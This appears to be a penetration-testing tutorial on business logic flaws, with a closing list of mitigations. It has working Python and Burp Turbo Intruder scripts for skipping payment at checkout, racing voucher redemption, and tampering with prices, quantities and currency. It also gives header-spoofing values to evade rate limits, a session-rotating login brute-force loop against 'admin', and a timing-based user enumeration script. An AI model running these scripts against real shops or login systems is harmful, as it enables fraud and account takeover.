Business Logic Vulnerabilities
Business logic vulnerabilities exploit flaws in the application's workflow, rules, and assumptions. Unlike technical vulnerabilities, these abuse the intended functionality in unintended ways. This guide covers workflow bypasses, race conditions, payment manipulation, and other logic flaws.
Why Business Logic Matters
Business logic vulnerabilities are difficult to detect with automated scanners because they don't involve traditional injection or XSS patterns. They require understanding the application's intended behavior and thinking like an attacker to find ways to abuse it. These flaws can lead to financial loss, fraud, and severe business impact.
Warning
📋 Contents
Workflow Bypass
Applications often enforce multi-step processes (checkout, registration, approval workflows). Workflow bypass attacks attempt to skip required steps or access endpoints out of order.
Common Workflow Vulnerabilities
Step Skipping
Jumping directly to final step (e.g., order confirmation without payment)
State Manipulation
Modifying session/cookie state to bypass workflow checks
Parallel Workflows
Starting multiple workflows simultaneously to confuse state
Forced Browsing
Accessing workflow URLs directly without prerequisites
Testing Methodology
# 1. Map the workflow
# Identify all steps: /checkout/cart → /checkout/shipping → /checkout/payment → /checkout/confirm
# 2. Test direct access to later steps
curl -X POST https://target.com/checkout/confirm \
-H "Cookie: session=abc123" \
-d "order_id=12345"
# 3. Manipulate workflow state
# Try accessing step 3 with cookies/session from step 1
# 4. Test parameter tampering
# Change step indicators in POST data
curl -X POST https://target.com/checkout/process \
-d "step=1" \
-d "action=complete" # Try to complete entire workflow
# 5. Test parallel sessions
# Open two workflows simultaneously and see if you can merge statesExample: E-commerce Checkout Bypass
import requests
# Step 1: Add items to cart
session = requests.Session()
session.post('https://shop.example.com/cart/add',
json={'product_id': 123, 'quantity': 1})
# Step 2: Skip payment and go directly to confirmation
# Normal flow: /cart → /shipping → /payment → /confirm
# Attack: Jump to confirm without payment
response = session.post('https://shop.example.com/checkout/confirm',
json={
'shipping_address': '123 Test St',
'payment_method': 'credit_card', # Claim payment done
'payment_status': 'completed' # Manipulate status
})
if 'Order Confirmed' in response.text:
print('[!] Workflow bypass successful - order without payment!')
print(response.json())Tip
Race Conditions (TOCTOU)
Race conditions occur when the timing of operations affects the outcome. Time-Of-Check-Time-Of-Use (TOCTOU) vulnerabilities arise when a check and an action are not atomic, allowing an attacker to change state between the check and the use.
Common Race Condition Scenarios
💰 Double Spending
Spending the same credits/voucher/tokens multiple times by exploiting race conditions in validation
Example: Redeeming a $10 voucher code 10 times simultaneously before the first redemption is recorded
🔢 Resource Limit Bypass
Exceeding account limits (file uploads, invitations, API calls) by racing parallel requests
Example: Uploading 100 files when limit is 5 by sending 100 requests simultaneously
💸 Negative Balance
Creating negative balances by racing withdrawal requests against insufficient funds
Example: Account has $100, but racing 5x $50 withdrawals results in -$150 balance
Testing for Race Conditions
import requests
import threading
# Target: Voucher redemption endpoint
url = 'https://target.com/api/redeem-voucher'
voucher_code = 'SAVE10'
# Race condition exploit
def redeem_voucher(thread_id):
response = requests.post(url,
json={'voucher': voucher_code},
headers={'Authorization': 'Bearer YOUR_TOKEN'})
print(f'[Thread {thread_id}] Status: {response.status_code}')
if response.status_code == 200:
print(f'[Thread {thread_id}] SUCCESS: {response.json()}')
# Launch 10 simultaneous requests
threads = []
for i in range(10):
t = threading.Thread(target=redeem_voucher, args=(i,))
threads.append(t)
t.start()
# Wait for all threads to complete
for t in threads:
t.join()
print('\n[!] If multiple successes, race condition exists!')Turbo Intruder Attack
# Burp Suite Turbo Intruder script for race conditions
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=20,
requestsPerConnection=1,
pipeline=False)
# Send same request 50 times simultaneously
for i in range(50):
engine.queue(target.req, gate='race')
# Open the gate - all requests sent at once
engine.openGate('race')
def handleResponse(req, interesting):
table.add(req)Tip
Payment & Transaction Manipulation
Payment logic flaws allow attackers to manipulate prices, quantities, currency, or transaction flow to obtain goods/services for free or at reduced cost.
Common Payment Vulnerabilities
💵 Price Manipulation
- • Negative prices
- • Zero prices
- • Decimal precision (0.01 vs 0.0001)
- • Hidden price fields in HTML/JS
📦 Quantity Manipulation
- • Negative quantities
- • Fractional quantities
- • Overflow (999999999)
- • Zero quantities with vouchers
💱 Currency Manipulation
- • Currency switching
- • Exchange rate abuse
- • Mixed currency transactions
- • Currency symbol injection
Testing Methodology
# 1. Intercept checkout request and analyze parameters
POST /checkout HTTP/1.1
Content-Type: application/json
{
"product_id": 123,
"quantity": 1,
"price": 99.99,
"currency": "USD",
"discount_code": ""
}
# 2. Test price manipulation
{"price": -99.99} # Negative price (get paid to buy)
{"price": 0} # Zero price
{"price": 0.01} # Minimal price
{"price": "99.99 OR 1=1"} # SQL injection in price
# 3. Test quantity manipulation
{"quantity": -1} # Negative quantity (add to balance?)
{"quantity": 0} # Zero quantity (free shipping with voucher?)
{"quantity": 999999999} # Integer overflow
{"quantity": 1.5} # Fractional quantity
# 4. Test currency manipulation
{"currency": "XXX"} # Invalid currency code
{"currency": "BTC"} # Cryptocurrency (different exchange rate?)
{"price": 99.99, "currency": "IDR"} # Switch to weak currency
# 5. Test parameter pollution
price=0.01&price=99.99 # Which one is used?Example Attack Scenarios
import requests
# Scenario 1: Negative price exploit
response = requests.post('https://shop.com/checkout',
json={
'items': [
{'id': 123, 'quantity': 1, 'price': 100},
{'id': 456, 'quantity': 1, 'price': -150} # Negative price
]
})
# Total: 100 + (-150) = -50 (shop pays YOU $50!)
# Scenario 2: Integer overflow
response = requests.post('https://shop.com/cart/add',
json={
'product_id': 789,
'quantity': 2147483647 # Max 32-bit int
})
# Quantity might wrap to negative, causing free products
# Scenario 3: Discount code stacking
response = requests.post('https://shop.com/apply-discount',
json={
'codes': ['SAVE10', 'SAVE20', 'SAVE30'] # Multiple codes
})
# If not validated, might stack 10% + 20% + 30% = 60% off
# Scenario 4: Currency timing attack
# 1. Start checkout in USD ($100)
# 2. Switch currency to IDR (Indonesian Rupiah)
# 3. If exchange rate not updated, pay ₹100 (~$0.007)
session = requests.Session()
session.post('https://shop.com/cart/add', json={'id': 123})
session.post('https://shop.com/settings/currency', json={'currency': 'IDR'})
response = session.post('https://shop.com/checkout/pay')
print(response.json()) # Check final priceWarning
Rate Limiting Bypass
Rate limiting protects against brute force, enumeration, and denial of service attacks. Testing for rate limiting bypass helps identify weak or missing protections.
Bypass Techniques
🔀 Header Manipulation
# Add headers to bypass IP-based rate limiting
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Remote-IP: 1.2.3.4
X-Client-IP: 1.2.3.4
Forwarded: for=1.2.3.4
# Try localhost bypass
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: ::1
# Try internal IP ranges
X-Forwarded-For: 10.0.0.1
X-Forwarded-For: 192.168.1.1🔄 Session Rotation
# Rotate sessions to bypass user-based rate limiting
import requests
for i in range(1000):
session = requests.Session() # New session each time
response = session.post('https://target.com/login',
json={'username': 'admin', 'password': f'pass{i}'})
print(f'[{i}] Status: {response.status_code}')🎭 Parameter Pollution
# Try different parameter encodings to bypass detection
email=test@example.com
email=test%40example.com
email=test%2540example.com (double encoding)
email[]=test@example.com (array format)
email.value=test@example.com
# Case sensitivity bypass
Email=test@example.com
EMAIL=test@example.comInformation
Resource Exhaustion
Resource exhaustion attacks exploit business logic to consume excessive resources (storage, processing, memory) causing denial of service or financial cost.
Common Attack Vectors
💾 Storage Exhaustion
- • Uploading massive files
- • Creating unlimited accounts
- • Zip bombs
- • Log file pollution
⚡ Processing Exhaustion
- • Complex regex (ReDoS)
- • PDF rendering bombs
- • Image processing attacks
- • Expensive database queries
Timing Attacks
Timing attacks exploit differences in response times to infer information about the application's internal state (user existence, password correctness, etc.).
import requests
import time
# Test for user enumeration via timing
def test_timing(email):
start = time.time()
response = requests.post('https://target.com/login',
json={'email': email, 'password': 'wrong'})
elapsed = time.time() - start
return elapsed
# Valid users might take longer (password check)
# Invalid users fail fast (no password check)
print(f'valid@example.com: {test_timing("valid@example.com"):.4f}s')
print(f'invalid@example.com: {test_timing("invalid@example.com"):.4f}s')
# If timing difference > 100ms, user enumeration possibleTools & Resources
🛠️ Testing Tools
- • Burp Suite Turbo Intruder
Race condition and high-speed testing - • race-the-web
Command-line race condition tester - • Racepwn
Automated race condition detection
Mitigation Strategies
- ✓ Server-Side Validation: Always validate all business rules on the server. Never trust client-side checks.
- ✓ Atomic Operations: Use database transactions and locking to prevent race conditions
- ✓ Idempotency: Make operations idempotent (same result when repeated) using idempotency keys
- ✓ Workflow State Machine: Implement strict state machines that enforce valid transitions
- ✓ Rate Limiting: Implement proper rate limiting on all sensitive operations
- ✓ Input Validation: Validate ranges, data types, and business constraints (e.g., quantity > 0)
- ✓ Constant-Time Comparisons: Use constant-time comparison for sensitive operations to prevent timing attacks